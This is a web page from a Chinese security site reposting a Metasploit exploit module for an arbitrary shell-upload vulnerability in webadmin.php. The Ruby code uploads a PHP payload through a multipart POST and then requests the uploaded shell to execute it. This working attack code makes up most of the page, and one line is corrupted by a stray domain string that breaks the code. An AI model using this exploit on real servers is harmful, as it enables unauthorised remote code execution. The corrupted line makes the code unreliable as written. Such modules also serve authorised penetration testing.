首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
webadmin <= Shell Upload Vulnerability (MSF)
来源:http://www.metasploit.com 作者:Caddy-Dz 发布时间:2011-09-16  
require 'msf/core'
 
class Metasploit3 < Msf::Exploit::Remote
    Rank = GreatRanking
 
    include Msf::Exploit::Remote::Tcp
    include Msf::Exploit::Remote::HttpClient
 
    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'webadmin <= Shell Upload Vulnerability',
            'Description'    => %q{
            This module exploits an arbitrary shell upload vulnerability in
            the webadmin.php
            },
            'Author'         => [ 'Caddy-Dz' ],
   'License'        => MSF_LICENSE,
            'References'     => ["http://wacker-welt.de/webadmin/webadmin.php.gz" ],
            'Privileged'     => false,
            'Payload'        =>
                {
                    'DisableNops' => true,
                },
            'Platform'       => 'php',
            'Arch'           => ARCH_PHP,
            'Targets'        => [[ 'Automatic', { }]],
            'DefaultTarget' => 0,
            'DisclosureDate' => 'Sept 13, 2011'
            ))
 
        register_options([
                OptString.new('URI', [true, "Path to webadmin ", "/"]),
            ], self.class)
    end
 
    def exploit
        boundary = rand_text_alphanumeric(6)
        fn = rand_text_alphanumeric(8)
        data = "--#{boundary}\r\nContent-Disposition: form-data; name=\"Filedata\"; "
        data << "filename=\"#{fn}.php\"\r\nContent-Type: application/x-httpd-php\r\n\r\n"
        data << payload.encoded
        data << "\r\n--#{boundary}--"
 
        res = send_request_raw({
            'uri'     => datastore['URI'] + "/webadmin.php",
            'method'  => 'POST',
            'data'    => data,
            'headers' =>
            {
                'Content-Type'   => 'multipart/form-data; boundary=' + boundary,
                'Content-Length' => data.length,
 }
        }, 25)
 
        if (res)
            www.badguest.cn print_status("Successfully uploaded shell.")
            shell_path = res.body.split("_")[0]
            print_status("Trying to access shell at #{shell_path}...")
            res = send_request_raw({
                'uri'     => datastore['URI'] + shell_path,
                'method'  => 'GET',
            }, 0.01)
 
        else
            print_error("Error uploading shell")
        end
 
        handler
    end
end

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Audio Gold Local Buffer Overfl
·Audio Editor Deluxe (.m3u File
·Nortel Contact Recording Centr
·Mini-Stream Ripper 2.9.7 DEP B
·Measuresoft ScadaPro <= 4.0.0
·ScadaTEC ScadaPhone <= v5.3.11
·RealNetworks Realplayer QCP Pa
·All Media Fixer Pro Local Buff
·MY MP3 Player 3.0 m3u Exploit
·Reaper 245 (.m3u) Local Buffer
·KnFTP 1.0.0 Server Multiple Bu
·Microsoft Windows NDISTAPI本地
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved